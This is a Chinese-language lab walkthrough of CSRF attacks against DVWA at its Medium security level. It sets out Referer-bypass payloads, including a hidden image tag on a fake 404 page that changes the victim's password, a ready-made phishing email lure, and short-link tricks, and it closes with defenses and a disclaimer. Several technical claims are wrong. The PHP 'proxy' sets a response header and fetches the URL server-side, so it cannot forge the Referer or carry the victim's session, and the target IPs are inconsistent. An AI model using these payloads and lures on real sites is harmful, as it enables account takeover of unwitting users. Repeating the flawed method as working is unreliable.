本文仅用于技术研究,禁止用于非法用途。
Author:枷锁
文章目录
-
- 攻击流程(Medium级别)
-
- 理解Medium级别的防护
- 构造恶意页面(绕过Referer检查)
-
- 方法1:伪造Referer(PHP代理)
- 方法2:HTML页面绕过(无需服务器)
- [方法3:Burp Suite手动修改Referer](#方法3:Burp Suite手动修改Referer)
- 诱导受害者访问恶意链接
- 防御方案(开发者视角)
- 总结
本文环境Security Level:Medium
跨站请求伪造攻击CSRF(Cross-Site Request Forgery) 是一种利用受害者已登录的会话,在不知情的情况下执行恶意操作的攻击方式。
在DVWA的 Medium 级别,开发者增加了一些防护措施,但仍然存在绕过方法。
攻击流程(Medium级别)
理解Medium级别的防护
在 Medium 级别,DVWA增加了 Referer检查,即:
- 服务器会检查请求的
Referer
头,确保请求来自 同一域名 (如http://<靶机IP>/dvwa/
)。 - 如果
Referer
不存在或来自外部网站,请求会被拒绝。
绕过思路:
- 伪造Referer(让服务器误认为请求来自合法来源)。
- 利用浏览器特性(某些浏览器允许修改Referer)。
- 使用短链接或302跳转(隐藏真实来源)。
构造恶意页面(绕过Referer检查)
方法1:伪造Referer(PHP代理)
- 创建一个 PHP代理页面 (
csrf_proxy.php
),放在攻击者的服务器上或者在服务器根目录(www)新建文件 csrf_proxy.php。
php
<?php
// 伪造Referer:必须与目标服务器IP/域名完全一致
header("Referer: http://192.168.1.112/dvwa/");
// 构造攻击URL:修改密码为123456
$url = "http://192.168.1.112/dvwa/vulnerabilities/csrf/?
password_new=123456&password_conf=123456&Change=Change";
// 发送请求并返回结果
echo file_get_contents($url);
?>
注意: 192.168.1.112→ 替换为目标DVWA服务器的IP(通过访问DVWA时浏览器地址栏获取)
- 受害者访问:
http
http://<攻击者IP>/csrf_proxy.php // 本地测试用 http://localhost/csrf_proxy.php
- 由于
Referer
被伪造,服务器会认为请求来自http://<靶机IP>/dvwa/
,从而绕过检查。
方法2:HTML页面绕过(无需服务器)
适用场景 :攻击者只能托管静态HTML文件。
步骤:
-
创建文件
192.168.1.112.html
(文件名必须包含目标IP),写入以下代码:html<img src="http://127.0.0.1/DVWA/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#" style="display:none;"> <h1>404 Not Found</h1>
- 关键点 :文件名包含目标IP(如
192.168.1.112.html
),浏览器访问时会自动携带该IP到Referer。
- 关键点 :文件名包含目标IP(如
-
将文件上传至任意Web服务器(如Apache的
/var/www/html/
目录)。 -
诱导受害者访问:
httphttp://<攻击者IP>/192.168.1.112.html
- 页面显示"404 Not Found",但隐藏的
<img>
标签已触发密码修改请求。
- 页面显示"404 Not Found",但隐藏的
-
验证结果 :同上,用新密码
123456
登录DVWA。
方法3:Burp Suite手动修改Referer
适用场景 :本地测试或需快速验证漏洞。
步骤:
-
用浏览器访问DVWA的CSRF页面 → 输入新密码(如
123456
)→ 点击 "Change"。 -
打开 Burp Suite → 开启代理拦截(Proxy → Intercept ON)→ 捕获请求。
-
修改HTTP请求头:
httpGET /dvwa/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change HTTP/1.1 Host: 192.168.1.112 Referer: http://192.168.1.112/dvwa/ # 手动添加此行
-
点击 "Forward" 发送请求 → 页面显示 "Password Changed" 即成功。
诱导受害者访问恶意链接
-
钓鱼邮件 :
亲爱的用户,您的账户存在安全风险,请立即点击以下链接修改密码: http://<攻击者IP>/csrf_proxy.php
-
社交工程 :
- 在论坛、评论区发布"有趣的内容",诱导用户点击。
- 使用短链接(如
bit.ly
)隐藏真实URL。
防御方案(开发者视角)
-
使用CSRF Token (最有效):
phpsession_start(); if ($_POST['csrf_token'] !== $_SESSION['csrf_token']) { die("非法请求!"); }
-
检查Origin头 (比Referer更可靠):
phpif ($_SERVER['HTTP_ORIGIN'] !== 'http://<合法域名>') { die("非法来源!"); }
-
SameSite Cookie (防止跨站请求):
phpsession_set_cookie_params(['samesite' => 'Strict']);
总结
- Medium级别防护 :
Referer
检查,但可被伪造或绕过。 - 攻击方式 :
- 伪造
Referer
(PHP代理)。 - 302跳转(短链接)。
<iframe>
+meta
刷新。
- 伪造
- 防御关键 :CSRF Token + SameSite Cookie,彻底防止CSRF攻击。
⚠️ 注意:此技术仅用于授权测试,未经许可的渗透属于违法行为!
宇宙级免责声明🚨 重要声明:本文仅供合法授权下的安全研究与教育目的!🚨
1.合法授权:本文所述技术仅适用于已获得明确书面授权的目标或自己的靶场内系统。未经授权的渗透测试、漏洞扫描或暴力破解行为均属违法,可能导致法律后果(包括但不限于刑事指控、民事诉讼及巨额赔偿)。
2.道德约束:黑客精神的核心是建设而非破坏。请确保你的行为符合道德规范,仅用于提升系统安全性,而非恶意入侵、数据窃取或服务干扰。
3.风险自担:使用本文所述工具和技术时,你需自行承担所有风险。作者及发布平台不对任何滥用、误用或由此引发的法律问题负责。
4.合规性:确保你的测试符合当地及国际法律法规(如《计算机欺诈与滥用法案》(CFAA)、《通用数据保护条例》(GDPR)等)。必要时,咨询法律顾问。
5.最小影响原则:测试过程中应避免对目标系统造成破坏或服务中断。建议在非生产环境或沙箱环境中进行演练。
6.数据保护:不得访问、存储或泄露任何未授权的用户数据。如意外获取敏感信息,应立即报告相关方并删除。
7.免责范围:作者、平台及关联方明确拒绝承担因读者行为导致的任何直接、间接、附带或惩罚性损害责任。
🔐 安全研究的正确姿势:✅ 先授权,再测试
✅ 只针对自己拥有或有权测试的系统
✅ 发现漏洞后,及时报告并协助修复
✅ 尊重隐私,不越界
⚠️ 警告:技术无善恶,人心有黑白。请明智选择你的道路。
希望这个教程对你有所帮助!记得负责任地进行安全测试。